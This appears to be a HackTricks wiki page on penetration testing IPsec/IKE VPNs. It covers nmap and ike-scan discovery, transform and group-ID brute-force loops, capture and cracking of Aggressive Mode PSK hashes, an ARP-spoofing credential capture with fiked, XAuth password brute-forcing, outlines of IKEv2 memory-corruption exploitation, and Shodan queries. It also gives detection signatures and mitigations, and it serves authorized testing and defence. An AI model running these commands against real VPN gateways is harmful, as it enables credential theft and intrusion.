ipsec-ike-vpn-pentesting.md (25692B)
1 --- 2 title: "500/udp, 4500/udp - Pentesting IPsec/IKE VPN" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/ipsec-ike-vpn-pentesting.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 500/udp, 4500/udp - Pentesting IPsec/IKE VPN 14 15 ## Basic Information 16 17 **IPsec** is a suite of network-layer protocols used to protect traffic between hosts or security gateways. It is common in site-to-site and remote-access VPNs, but it is not the only enterprise VPN technology.<sup>[[11]](#references)</sup> 18 19 **Internet Key Exchange (IKE)** authenticates peers and establishes Security Associations (SAs). IKEv1 used the ISAKMP framework and the historical phase terminology below; IKEv2 replaced that exchange model with `IKE_SA_INIT`, `IKE_AUTH`, and `CREATE_CHILD_SA` exchanges.<sup>[[11]](#references)[[12]](#references)</sup> 20 21 - **IKEv1 Phase 1:** Main Mode (six messages) or Aggressive Mode (three messages) establishes the IKE/ISAKMP SA using authentication such as a PSK or certificate. 22 - **Optional “Phase 1.5”:** XAuth is a vendor extension that performs additional user authentication, commonly with a username and password. 23 - **IKEv1 Phase 2:** Quick Mode negotiates IPsec SAs for ESP or AH. ESP can provide confidentiality and integrity; AH provides integrity/authentication but not encryption. A fresh Diffie-Hellman exchange in Quick Mode provides PFS—merely choosing algorithms different from Phase 1 does not.<sup>[[11]](#references)</sup> 24 25 IKE normally uses UDP/500. NAT Traversal encapsulates IPsec ESP in UDP/4500 and also moves IKE traffic to that port after NAT detection.<sup>[[13]](#references)</sup> 26 27 ## **Discover** the service using nmap 28 29 ```text 30 root@bt:~# nmap -sU -p 500 172.16.21.200 31 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST 32 Nmap scan report for 172.16.21.200 33 Host is up (0.00036s latency). 34 PORT STATE SERVICE 35 500/udp open isakmp 36 MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) 37 ``` 38 39 ## **Finding a valid transformation** 40 41 An IKEv1 policy may accept only specific transform combinations. A Phase 1 transform identifies attributes such as the encryption algorithm, integrity/hash algorithm, authentication method, Diffie-Hellman group, and lifetime. DES, 3DES, MD5, SHA-1, and DH groups 1/2 are legacy examples useful for identifying old appliances, not recommended choices for a new deployment.<sup>[[2]](#references)[[3]](#references)</sup> 42 43 Then, the first thing that you have to do is to **find a valid transformation**, so the server will talk to you. To do so, you can use the tool **ike-scan**. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with **eight transforms inside it**.<sup>[[3]](#references)</sup> 44 45 Depending on the response you can obtain some information about the endpoint: 46 47 ```text 48 root@bt:~# ike-scan -M 172.16.21.200 49 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 50 172.16.21.200 Main Mode Handshake returned 51 HDR=(CKY-R=d90bf054d6b76401) 52 SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) 53 VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) 54 55 Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify 56 ``` 57 58 As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\ 59 **The value of the last line is also very important:** 60 61 - _0 returned handshake; 0 returned notify:_ This result is inconclusive. The host may not run IKE, but UDP filtering, packet loss, rate limiting, an unacceptable proposal, or an implementation that silently drops probes can look identical. 62 - _**1 returned handshake; 0 returned notify:**_ This means the **target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable** (a valid transform will be shown in the output). 63 - _0 returned handshake; 1 returned notify:_ VPN gateways respond with a notify message when **none of the transforms are acceptable** (though some gateways do not, in which case further analysis and a revised proposal should be tried). 64 65 In this case a valid transform is already known. If only a rejection is returned, enumerate transforms carefully. The exhaustive legacy loop below generates a very large probe set and includes obsolete algorithms, so rate-limit it and use it only when explicitly authorized: 66 67 First of all you need to create all the possible transformations: 68 69 ```bash 70 for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done 71 ``` 72 73 And then brute-force each one using ike-scan (this can take several minutes): 74 75 ```bash 76 while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt 77 ``` 78 79 If the brute-force didn't work, maybe the server is responding without handshakes even to valid transforms. Then, you could try the same brute-force but using aggressive mode: 80 81 ```bash 82 while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt 83 ``` 84 85 Hopefully **a valid transformation is echoed back**.\ 86 You can try the **same attack** using [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ 87 You could also try to brute force transformations with [**ikeforce**](https://github.com/SpiderLabs/ikeforce): 88 89 ```bash 90 ./ikeforce.py <IP> # No parameters are required for scan -h for additional help 91 ``` 92 93  94 95 In **DH Group: 14 = 2048-bit MODP** and **15 = 3072-bit**\ 96 **2 = HMAC-SHA = SHA1 (in this case). The `--trans` format is $Enc,$Hash,$Auth,$DH** 97 98 DH group 1 uses 768-bit MODP and group 2 uses 1024-bit MODP; both are obsolete. Group 14 is 2048-bit MODP and group 15 is 3072-bit MODP. Large-scale precomputation research makes common weak finite-field groups particularly risky, and current deployments should follow vendor/IETF guidance for modern groups and algorithms. 99 100 ### Server fingerprinting 101 102 You can use `ike-scan` to estimate the implementation from its retransmission/backoff timing and optional Vendor ID (VID) payloads. Fingerprints can collide or change across firmware, proxies, and packet-loss conditions, so treat the result as a hypothesis to corroborate.<sup>[[3]](#references)</sup> 103 104 **Specify the valid transformation if needed** (using --trans) 105 106 If IKE discover which is the vendor it will print it: 107 108 ```text 109 root@bt:~# ike-scan -M --showbackoff 172.16.21.200 110 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 111 172.16.21.200 Main Mode Handshake returned 112 HDR=(CKY-R=4f3ec84731e2214a) 113 SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) 114 VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) 115 116 IKE Backoff Patterns: 117 118 IP Address No. Recv time Delta Time 119 172.16.21.200 1 1322286031.744904 0.000000 120 172.16.21.200 2 1322286039.745081 8.000177 121 172.16.21.200 3 1322286047.745989 8.000908 122 172.16.21.200 4 1322286055.746972 8.000983 123 172.16.21.200 Implementation guess: Cisco VPN Concentrator 124 125 Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify 126 ``` 127 128 This can be also achieve with nmap script _**ike-version**_ 129 130 ### IKEv2-specific: WatchGuard Vendor ID version fingerprinting 131 132 Some IKEv2 daemons include non-standard Vendor ID payloads in the IKE_SA_INIT response. WatchGuard Fireware OS encodes the appliance version/build directly inside the VID, allowing single-packet, pre-auth fingerprinting.<sup>[[5]](#references)</sup> 133 134 - Transport: UDP/500 (and UDP/4500 for NAT-T) 135 - Packet: IKE_SA_INIT response contains one or more Vendor ID payloads 136 - WatchGuard format: 32-byte hash followed by base64 that decodes to e.g. `VN=12.11.3 BN=719894` 137 138 Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64): 139 140 ```text 141 00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H.... 142 00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`. 143 00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC 144 00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ= 145 ``` 146 147 Quick extraction on a shell when you have the base64 tail: 148 149 ```bash 150 echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d 151 # VN=12.11.3 BN=719894 152 ``` 153 154 Notes 155 - This is not part of any IKEv2 RFC. Treat it as a vendor quirk for rapid scoping of exposed/vulnerable Fireware OS versions. 156 - You only need to elicit an IKE_SA_INIT reply; no authentication is required. 157 158 ## Finding the correct ID (group name) 159 160 To capture an offline-crackable IKEv1 Aggressive Mode PSK exchange, you need an accepted transform and an identity/group configuration for which the gateway completes the response. Some gateways reveal different behavior for valid and invalid group IDs; others deliberately make the responses indistinguishable. 161 162 ### Bruteforcing ID with ike-scan 163 164 First of all try to make a request with a fake ID trying to gather the hash ("-P"): 165 166 ```bash 167 ike-scan -P -M -A -n fakeID <IP> 168 ``` 169 170 If no hash is returned for random IDs but one is returned for a candidate, the response difference may provide an enumeration signal. If equivalent handshakes are returned for fake IDs, this method cannot reliably distinguish group names. Confirm with multiple controls to account for loss and rate limiting. 171 172  173 174 But if as I have said, no hash is returned, then you should try to brute-force common group names using ike-scan. 175 176 This script **will try to brute-force possible IDs** and will return the IDs where a valid handshake is returned (this will be a valid group name). 177 178 If you have discovered an specific transformation add it in the ike-scan command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly). 179 180 You can use the[ dictionary of ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) or [the one in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) of common group names to brute-force them: 181 182 ```bash 183 while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt 184 ``` 185 186 Or use this dict (is a combination of the other 2 dicts without repetitions): 187 188 [Vpnids.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/vpnIDs.txt) 189 190 ### Bruteforcing ID with Iker 191 192 [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) also uses **ike-scan** to brute-force possible group names. It applies its own heuristics to infer a valid ID from `ike-scan` output. 193 194 ### Bruteforcing ID with ikeforce 195 196 [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is a tool that can be used to **brute force IDs also**. This tool will **try to exploit different vulnerabilities** that could be used to **distinguish between a valid and a non-valid ID** (could have false positives and false negatives, that is why I prefer to use the ike-scan method if possible). 197 198 By default **ikeforce** first sends random IDs to characterize server behavior and choose an enumeration tactic. 199 200 - The **first method** searches for Cisco Dead Peer Detection (DPD) information that some implementations return only for an accepted group name. 201 - The **second method** compares the number of responses because some implementations send additional packets for an accepted ID. 202 - The **third method** looks for `INVALID-ID-INFORMATION` responses to rejected IDs. 203 - Finally, if the server does not replay anything to the checks, **ikeforce** will try to brute force the server and check if when the correct id is sent the server replay with some packet.\ 204 The goal is to identify a group whose Aggressive Mode exchange can be captured and tested offline. Recovering the PSK still depends on its guessability. XAuth, when enabled, is a separate user-authentication layer and must be assessed within the lockout/rate limits in scope. 205 206 If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly). 207 208 ```bash 209 git clone https://github.com/SpiderLabs/ikeforce.git 210 pip install 'pyopenssl==17.2.0' #It is old and need this version of the library 211 ``` 212 213 ```bash 214 ./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic 215 ``` 216 217 ### Sniffing ID 218 219 (From the book **Network Security Assessment: Know Your Network**): It is also possible to obtain valid usernames by sniffing the connection between the VPN client and server, as the first aggressive mode packet containing the client ID is sent in the clear<sup>[[4]](#references)</sup> 220 221  222 223 ### Aggressive Mode identity leakage 224 225 Aggressive Mode must send the **ID** early so the gateway can pick the right PSK when **multiple groups/users** exist. This means the **identity is exposed pre-auth**, unlike Main Mode where it is encrypted in later packets. You can extract it quickly:<sup>[[6]](#references)</sup> 226 227 ```bash 228 ike-scan -A <IP> 229 # Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld) 230 ``` 231 232 If Aggressive Mode is enabled, capture a PSK exchange and test it offline. Hashcat mode `5400` is for IKE-PSK SHA-1; use the mode matching the negotiated hash (for example, `5300` for MD5): 233 234 ```bash 235 ike-scan -A --pskcrack=handshake.txt <IP> 236 hashcat -m 5400 handshake.txt /path/to/wordlist.txt 237 ``` 238 239 A recovered group PSK is not inherently a user password. In an authorized assessment, record it as a reusable shared secret and test other services only when the rules of engagement explicitly include credential reuse.<sup>[[6]](#references)</sup> 240 241 ## Capturing & cracking the hash 242 243 Finally, If you have found a **valid transformation** and the **group name** and if the **aggressive mode is allowed**, then you can very easily grab the crackable hash:<sup>[[1]](#references)</sup> 244 245 ```bash 246 ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> # Capture the PSK-auth exchange for offline testing 247 ``` 248 249 The hash will be saved inside _hash.txt_. 250 251 You can use **psk-crack**, **john** (using [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) and **hashcat** to **crack** the hash: 252 253 ```bash 254 psk-crack -d <Wordlist_path> psk.txt 255 ``` 256 257 ## **XAuth** 258 259 **Aggressive mode IKE** combined with a **Pre-Shared Key (PSK)** is commonly employed for **group authentication** purposes. This method is augmented by **XAuth (Extended Authentication)**, which serves to introduce an additional layer of **user authentication**. Such authentication typically leverages services like **Microsoft Active Directory**, **RADIUS**, or comparable systems. 260 261 Transitioning to **IKEv2**, a notable shift is observed where **EAP (Extensible Authentication Protocol)** is utilized in lieu of **XAuth** for the purpose of authenticating users. This change underscores an evolution in authentication practices within secure communication protocols. 262 263 ### Local network MitM to capture credentials 264 265 So you can capture the data of the login using _fiked_ and see if there is any default username (You need to redirect IKE traffic to `fiked` for sniffing, which can be done with the help of ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked will act as a VPN endpoint and will capture the XAuth credentials:<sup>[[10]](#references)</sup> 266 267 ```bash 268 fiked -g <IP> -k testgroup:secretkey -l output.txt -d 269 ``` 270 271 Blocking UDP/500 or UDP/4500 should make a correctly configured VPN client fail closed. If business traffic silently falls back to a non-VPN path, that is a separate fail-open/routing weakness; verify it with packet capture without assuming credentials or payloads will automatically be sent in clear. 272 273 ### Brute-forcing XAuth usernames and passwords with ikeforce 274 275 To test **XAuth** when you know a valid group ID and PSK, provide a username (or username list) and password list. Respect account lockout and gateway rate limits: 276 277 ```bash 278 ./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1] 279 ``` 280 281 This way, ikeforce will try to connect using each combination of username:password. 282 283 If you found one or several valid transforms just use them like in the previous steps. 284 285 ## Authentication with an IPSEC VPN 286 287 In Kali, **VPNC** is utilized to establish IPsec tunnels. The **profiles** must be located in the directory `/etc/vpnc/`. You can initiate these profiles using the command _**vpnc**_. 288 289 The following commands and configurations illustrate the process of setting up a VPN connection with VPNC: 290 291 ```bash 292 root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP 293 IPSec gateway [VPN_GATEWAY_IP] 294 IPSec ID [VPN_CONNECTION_ID] 295 IPSec secret [VPN_GROUP_SECRET] 296 IKE Authmode psk 297 Xauth username [VPN_USERNAME] 298 Xauth password [VPN_PASSWORD] 299 STOP 300 root@system:~# vpnc samplevpn 301 VPNC started in background (pid: [PID])... 302 root@system:~# ifconfig tun0 303 ``` 304 305 In this setup: 306 307 - Replace `[VPN_GATEWAY_IP]` with the actual IP address of the VPN gateway. 308 - Replace `[VPN_CONNECTION_ID]` with the identifier for the VPN connection. 309 - Replace `[VPN_GROUP_SECRET]` with the VPN's group secret. 310 - Replace `[VPN_USERNAME]` and `[VPN_PASSWORD]` with the VPN authentication credentials. 311 - `[PID]` symbolizes the process ID that will be assigned when `vpnc` initiates. 312 313 Ensure that actual, secure values are used to replace the placeholders when configuring the VPN. 314 315 ## IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs 316 317 Modern VPN appliances often expose IKEv2 on UDP/500 (and UDP/4500 for NAT-T). A common pre-authentication attack surface is the parsing of Identification (IDi) and Certificate payloads during IKE_SA_AUTH.<sup>[[5]](#references)</sup> 318 319 High-level exploitation flow when a vulnerable IKEv2 parser exists: 320 - Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman. 321 - Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation). 322 - Resulting memory corruption can yield saved-register and return-address control. 323 - With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available. 324 325 Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3): 326 - SHA2-256–AES(256-bit) with DH Group 14 327 - SHA1–AES(256-bit) with DH Group 5 328 - SHA1–AES(256-bit) with DH Group 2 329 - SHA1–3DES with DH Group 2 330 331 Practical tips 332 - Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500. 333 - Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss. 334 - If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic. 335 336 ## IKEv2 fragmentation abuse: async shallow-copy double free (Windows IKEEXT case study) 337 338 RFC 7383 fragmentation (`SKF`, payload type `0x35`)<sup>[[8]](#references)</sup> is a good place to look for **pre-auth memory corruption** in IKEv2 implementations. Reassembly code often builds a temporary packet context, copies state from the long-lived SA object, and reinjects the reassembled message into later parsing stages. If some fields are **deep-copied** while embedded pointers are only **shallow-copied**, packet-context cleanup can free memory still owned by the SA, and the same allocation can be freed again later during SA teardown.<sup>[[7]](#references)</sup> 339 340 Real-world pattern seen in Windows IKEEXT: 341 - During `IKE_SA_INIT`, a Vendor ID handler allocates a blob tied to the SA. 342 - A fragmented `IKE_AUTH` is reassembled and queued for async processing. 343 - The queueing path deep-copies the reassembly buffer but leaves the SA-owned blob pointer aliased inside the queued packet context. 344 - Destroying the queued context frees the aliased pointer first. 345 - Negotiation cleanup later tears down the original SA and frees the same pointer again, yielding a **double free** reachable from the network.<sup>[[7]](#references)[[9]](#references)</sup> 346 347 Practical auditing notes: 348 - Treat **fragment reassembly + reinjection + async work queues** as one attack surface, not separate features. 349 - Compare which fields are deep-copied versus shallow-copied when packet contexts are queued to worker threads. 350 - Check whether invalid reassembled messages still traverse cleanup paths. A malformed `IKE_AUTH` may still be enough if reassembly and queue teardown happen before semantic validation fails. 351 - For Windows targets, the reachable service is typically **IKEEXT** listening on **UDP/500** and **UDP/4500** (NAT-T), so successful exploitation targets a privileged network-facing service. 352 353 ### Detection notes for fragmentation-driven IKEv2 exploitation 354 355 This pattern is **stateful**. A single packet is not enough; correlate packets within the same IKE session:<sup>[[7]](#references)</sup> 356 357 1. Look for an `IKE_SA_INIT` request that contains a vendor-specific setup payload. In the Windows case study, the write-up keys on: 358 - UDP payload offset `17`: `20 22 08` (`IKEv2`, `IKE_SA_INIT`, initiator) 359 - Vendor ID bytes anywhere later in the packet: `68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8` 360 2. From the same source / IKE session, look for fragmented `IKE_AUTH` traffic: 361 - UDP payload offset `16`: `35 20 23 08` (`SKF`, `IKEv2`, `IKE_AUTH`, initiator) 362 - UDP payload offset `20`: `00 00 00 01` 363 364 Parsing notes: 365 - Multi-byte fields are **big-endian**. 366 - On **UDP/4500**, the 4-byte non-ESP marker `00 00 00 00` shifts all IKE offsets by `+4`. 367 - Detection quality improves if you correlate on the IKE SPIs from the header instead of just source IP/port. 368 369 Operational notes: 370 - If IKE is not needed, block **UDP/500** and **UDP/4500**. 371 - If IKE is required, restrict those ports to known peers while patches are being deployed.<sup>[[9]](#references)</sup> 372 373 ## Shodan 374 375 - `port:500 IKE` 376 - `port:4500 "UDP"` 377 - `udp port:500,4500 "WatchGuard"` 378 379 ## References 380 381 - [1] [PSK Cracking using IKE Aggressive Mode](http://www.ernw.de/download/pskattack.pdf) 382 - [2] [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) 383 - [3] [Scanning and probing a VPN](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf) 384 - [4] [Network Security Assessment: Know Your Network, 3rd Edition](https://www.oreilly.com/library/view/network-security-assessment/9781491910955/) 385 - [5] [YIKES: WatchGuard Fireware OS IKEv2 out-of-bounds write (CVE-2025-9242)](https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242/) 386 - [6] [0xdf – HTB: Expressway](https://0xdf.gitlab.io/2026/03/07/htb-expressway.html) 387 - [7] [ZDI - CVE-2026-33824: Remote Code Execution in Windows IKEv2](https://www.thezdi.com/blog/2026/4/22/cve-2026-33824-remote-code-execution-in-windows-ikev2) 388 - [8] [RFC 7383 - Internet Key Exchange Protocol Version 2 (IKEv2) Message Fragmentation](https://datatracker.ietf.org/doc/rfc7383/) 389 - [9] [Microsoft Security Update Guide - CVE-2026-33824](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824) 390 - [10] [opensourceforu.com - Ipsec Vpn Penetration Testing Backtrack Tools](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools) 391 - [11] [RFC 2409 – The Internet Key Exchange (IKEv1)](https://www.rfc-editor.org/rfc/rfc2409) 392 - [12] [RFC 7296 – Internet Key Exchange Protocol Version 2 (IKEv2)](https://www.rfc-editor.org/rfc/rfc7296) 393 - [13] [RFC 3947 – Negotiation of NAT-Traversal in IKE](https://www.rfc-editor.org/rfc/rfc3947)